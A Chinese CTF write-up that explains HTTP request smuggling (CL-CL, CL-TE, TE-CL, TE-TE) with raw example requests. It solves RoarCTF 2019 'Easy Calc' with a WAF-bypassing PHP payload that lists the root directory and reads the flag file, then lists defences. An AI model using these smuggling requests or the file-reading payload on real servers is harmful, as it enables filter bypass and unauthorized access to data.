通过一道CTF学习HTTP协议请求走私
HTTP请求走私
HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式，进行绕过安全机制，实施未授权访问一种攻击手段，获取敏感信息，并直接危害其他用户。
请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置，即 Content-Length 和 Transfer-Encoding标头。
分类
- CLTE：前端服务器使用
Content-Length头，后端服务器使用Transfer-Encoding头 - TECL：前端服务器使用
Transfer-Encoding标头，后端服务器使用Content-Length标头。 - TETE：前端和后端服务器都支持
Transfer-Encoding标头，但是可以通过以某种方式来诱导其中一个服务器不处理它。
5种攻击方法
1.CL不为0的GET请求
当前端服务器允许GET请求携带请求体，而后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的 Content-Length 头，不进行处理。例如下面这个例子：
GET / HTTP/1.1\rHost: example.com\rContent-Length: 44\r GET /secret HTTP/1.1\rHost: example.com\r\r 前端服务器处理了 Content-Length ，而后端服务器没有处理 Content-Length ，基于pipeline机制认为这是两个独立的请求，就造成了漏洞的发生。
2.CL-CL
根据RFC 7230，当服务器收到的请求中包含两个 Content-Length ，而且两者的值不同时，需要返回400错误，但是有的服务器并没有严格实现这个规范。这种情况下，当前后端各取不同的 Content-Length 值时，就会出现漏洞。例如：
POST / HTTP/1.1\rHost: example.com\rContent-Length: 8\rContent-Length: 7\r 12345\ra 这个例子中a就会被带入下一个请求，变为 aGET / HTTP/1.1\r 。
3.CL-TE
RFC2616规范 //如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length。 //所以请求包中同时包含这两个请求头并不算违规，服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。
CL-TE指前端服务器处理 Content-Length 这一请求头，而后端服务器遵守RFC2616的规定，忽略掉 Content-Length ，处理 Transfer-Encoding 。例如：
POST / HTTP/1.1\rHost: example.com\r...Connection: keep-alive\rContent-Length: 6\rTransfer-Encoding: chunked\r\r0\r\ra 这个例子中a同样会被带入下一个请求，变为 aGET / HTTP/1.1\r
4.TE-CL
TE-CL指前端服务器处理 Transfer-Encoding 请求头，而后端服务器处理 Content-Length 请求头。例如：
POST / HTTP/1.1\rHost: example.com\r...Content-Length: 4\rTransfer-Encoding: chunked\r\r12\raPOST / HTTP/1.1\r\r0\r\r
5.TE-TE
TE-TE指前后端服务器都处理 Transfer-Encoding 请求头，但是在容错性上表现不同，例如有的服务器可能会处理 Transfer-encoding ，测试例如：
POST / HTTP/1.1\rHost: example.com\r...Content-length: 4\rTransfer-Encoding: chunked\rTransfer-encoding: cow\r\r5c\raPOST / HTTP/1.1\rContent-Type: application/x-www-form-urlencoded\rContent-Length: 15\r\rx=1\r0\r\r
[RoarCTF 2019]Easy Calc
CL-CL
HTTP走私绕过WAF
http协议走私基础:https://www.cnblogs.com/xhds/p/12339994.html
CL-CL
两个CL直接导致前端转发的服务器400，而且完整转发了post包给后端。
CL-TE
CL和TE直接导致前端转发的服务器400，而且完整转发了post包给后端。
构造payload获得Flag
使用scandir()函数、readfile()函数、base_convert()函数、dechex() 函数、hex2bin() 函数（chr()函数）
36进制scandir->10进制61693386291
36进制readfile->10进制2146934604002
ascii码/->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)
var_dump(base_convert(61693386291,10,36)(chr(47)))
读取flag
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
防御
- 1、将前端服务器配置为只使用HTTP/2与后端系统通信
- 2、完全禁用后端连接重用来解决此漏洞的所有变体
- 3、确保连接中的所有服务器运行具有相同配置的相同web服务器软件。
- 4、彻底拒绝模糊的请求，并删除关联的连接。
- 5、在Burp Suite中，你可以使用Repeater菜单禁用此行为，确保你选择的工具具有相同的功能。
- 6、通过Squid之类的代理来测试他们的测试人员的流量以进行监控。破坏测试人员发起的任何走私攻击请求，确保对此漏洞做到全面杜绝。
